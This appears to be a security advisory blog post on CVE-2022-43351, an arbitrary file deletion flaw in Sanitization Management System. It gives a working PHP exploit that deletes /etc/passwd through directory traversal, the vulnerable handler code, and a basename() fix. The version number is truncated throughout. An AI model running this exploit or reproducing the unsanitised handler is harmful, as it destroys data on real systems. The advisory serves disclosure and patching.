A serious arbitrary file deletion vulnerability (CVE-2022-43351) has recently been uncovered in the popular Sanitization Management System (SMS) v1.. This vulnerability exists within the /classes/Master.php handling component and exposes user systems to potential security risks if exploited. In this long-read post, we'll dive deep into the exploit details, provide code snippets, and offer original reference links to ensure you're well-informed about the vulnerability and how to protect your systems.

Exploit Details

The arbitrary file deletion vulnerability in SMS v1. is particularly concerning because it allows malicious users to delete any file in the target system without proper authorization. In this case, a specially crafted request aimed at the /classes/Master.php?f=delete_img endpoint can be used to exploit the vulnerability.

Here's an example of the exploit code snippet that takes advantage of this arbitrary file deletion vulnerability:

<?php
$target_url = "http://target-url.com/classes/Master.php?f=delete_img";;
$filename = "../../../../etc/passwd"; // Path to a file that an attacker wants to delete
$post_data = array("fileToDelete" => $filename);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
echo $response;
?>

It is important to note that an attacker can modify the $filename variable to delete any file they choose, making the vulnerability extremely damaging.

To better understand this exploit, let's dive into the source code that handles the /classes/Master.php?f=delete_img endpoint in the SMS v1.:

<?php
class Master
{
    // ...
    public function delete_img($file)
    {
        if(file_exists("../../uploads/" . $file))
        {
            unlink("../../uploads/" . $file);
            return true;
        }
        return false;
    }
}
// ...

if ($_GET['f'] == "delete_img" && isset($_POST['fileToDelete']))
{
    $filename = $_POST['fileToDelete'];
    $master = new Master();
    if($master->delete_img($filename))
    {
            echo "File deleted successfully!";
    }
    else
    {
            echo "Error deleting file!";
    }
}
?>

The problem in the code above is that the delete_img() function does not validate or sanitize the $file parameter. It directly uses the user input from the POST request variable fileToDelete and passes it to the function. By changing the POST request parameter fileToDelete to any file location, the system will try to delete the file without checking if the user is authorized to delete it.

Original references and more details can be found on the following websites

1. CVE-2022-43351 - NVD Detail
2. GitHub Gist - Sanitization Management System v1. Arbitrary File Deletion

Mitigation

To protect against this arbitrary file deletion vulnerability, it is highly recommended that SMS v1. users apply strict input validation and sanitation to the delete_img() function.

Here's a code improvement example for the delete_img() function

public function delete_img($file)
{
    $safe_file = basename($file); // Sanitize input to allow only the filename
    $filepath = "../../uploads/" . $safe_file;
    if(file_exists($filepath))
    {
        unlink($filepath);
        return true;
    }
    return false;
}

The code above uses the basename() function to ensure that only the filename is considered when deleting files. This prevents an attacker from exploiting directory traversal patterns to delete arbitrary files on the system.

Conclusion

This arbitrary file deletion vulnerability in Sanitization Management System v1. (CVE-2022-43351) can result in severe damages if exploited. By following the mitigation steps provided and staying informed about the exploit details, code snippets, and original references, you can keep your systems safe and secure against potential attacks. Remember to apply input sanitation and validation to user-supplied data in order to prevent exploitation of such vulnerabilities.

Timeline

Published on: 11/07/2022 15:15:00 UTC
Last modified on: 11/08/2022 04:19:00 UTC